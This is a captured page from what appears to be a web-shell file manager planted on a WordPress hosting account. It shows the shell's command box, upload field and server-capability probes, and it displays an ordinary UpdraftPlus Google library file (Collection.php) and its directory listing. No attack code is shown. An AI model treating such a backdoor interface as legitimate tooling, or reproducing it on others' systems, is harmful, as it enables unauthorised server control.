GRAYBYTE WORDPRESS FILE MANAGER5924

Server IP : 162.213.255.40 / Your IP : 216.73.216.121
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/plugins/updraftplus/includes/Google/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/plugins/updraftplus/includes/Google//Collection.php
<?php

if (!class_exists('UDP_Google_Client')) {
  require_once dirname(__FILE__) . '/../autoload.php';
}

/**
 * Extension to the regular Google_Model that automatically
 * exposes the items array for iteration, so you can just
 * iterate over the object rather than a reference inside.
 */
class Google_Collection extends Google_Model implements Iterator, Countable
{
  protected $collection_key = 'items';

  #[\ReturnTypeWillChange]
  public function rewind()
  {
    if (isset($this->modelData[$this->collection_key])
        && is_array($this->modelData[$this->collection_key])) {
      reset($this->modelData[$this->collection_key]);
    }
  }

  #[\ReturnTypeWillChange]
  public function current()
  {
    $this->coerceType($this->key());
    if (is_array($this->modelData[$this->collection_key])) {
      return current($this->modelData[$this->collection_key]);
    }
  }

  #[\ReturnTypeWillChange]
  public function key()
  {
    if (isset($this->modelData[$this->collection_key])
        && is_array($this->modelData[$this->collection_key])) {
      return key($this->modelData[$this->collection_key]);
    }
  }

  #[\ReturnTypeWillChange]
  public function next()
  {
    return next($this->modelData[$this->collection_key]);
  }

  #[\ReturnTypeWillChange]
  public function valid()
  {
    $key = $this->key();
    return $key !== null && $key !== false;
  }

  #[\ReturnTypeWillChange]
  public function count()
  {
    if (!isset($this->modelData[$this->collection_key])) {
      return 0;
    }
    return count($this->modelData[$this->collection_key]);
  }

  public function offsetExists ($offset)
  {
    if (!is_numeric($offset)) {
      return parent::offsetExists($offset);
    }
    return isset($this->modelData[$this->collection_key][$offset]);
  }

  public function offsetGet($offset)
  {
    if (!is_numeric($offset)) {
      return parent::offsetGet($offset);
    }
    $this->coerceType($offset);
    return $this->modelData[$this->collection_key][$offset];
  }

  public function offsetSet($offset, $value)
  {
    if (!is_numeric($offset)) {
      return parent::offsetSet($offset, $value);
    }
    $this->modelData[$this->collection_key][$offset] = $value;
  }

  public function offsetUnset($offset)
  {
    if (!is_numeric($offset)) {
      return parent::offsetUnset($offset);
    }
    unset($this->modelData[$this->collection_key][$offset]);
  }

  private function coerceType($offset)
  {
    $typeKey = $this->keyType($this->collection_key);
    if (isset($this->$typeKey) && !is_object($this->modelData[$this->collection_key][$offset])) {
      $type = $this->$typeKey;
      $this->modelData[$this->collection_key][$offset] =
          new $type($this->modelData[$this->collection_key][$offset]);
    }
  }
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Auth
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Cache
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Http
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
IO
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Logger
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Service
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Signer
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Task
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Utils
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Verifier
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:28
hellrfbn / hellrfbn
0644
Client.php
19.763 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
Collection.php
2.692 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
Config.php
13.66 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
Exception.php
0.632 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
Model.php
8.206 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
Service.php
0.989 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
Utils.php
3.854 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
autoload.php
1.489 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF